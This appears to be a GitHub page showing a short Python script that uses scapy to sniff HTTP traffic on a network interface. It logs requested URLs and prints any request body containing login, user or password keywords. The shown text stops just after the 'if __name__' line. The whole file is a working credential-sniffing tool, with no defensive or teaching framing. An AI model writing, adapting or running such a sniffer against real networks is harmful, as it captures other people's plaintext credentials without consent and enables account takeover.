-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRequestLoveView.py
More file actions
37 lines (28 loc) · 1.06 KB
/
Copy pathRequestLoveView.py
File metadata and controls
37 lines (28 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import scapy.all as scapy
from scapy.layers import http
from termcolor import colored
import signal
import sys
def exit_complete(sig,frame):
print(colored(f"\n[!] Saliendo...\n","red"))
sys.exit(1)
signal.signal(signal.SIGINT,exit_complete)
def packets_process(packet):
credentiales = ["login","user","pass","Email","Username"]
if packet.haslayer(http.HTTPRequest):
url = "http://" + packet[http.HTTPRequest].Host.decode() + packet[http.HTTPRequest].Path.decode()
print(colored(f"\n[+] URL:\t {url}","blue"))
if packet.haslayer(scapy.Raw):
try:
response = packet[scapy.Raw].load.decode()
for i in credentiales:
if i in response:
print(colored(f"\n[+] Credenciales: {response}\n","green"))
break
except:
pass
def sniff(interface):
scapy.sniff(iface=interface, prn=packets_process,store=0)
def main():
sniff("eth0")
if __name__=="__main__":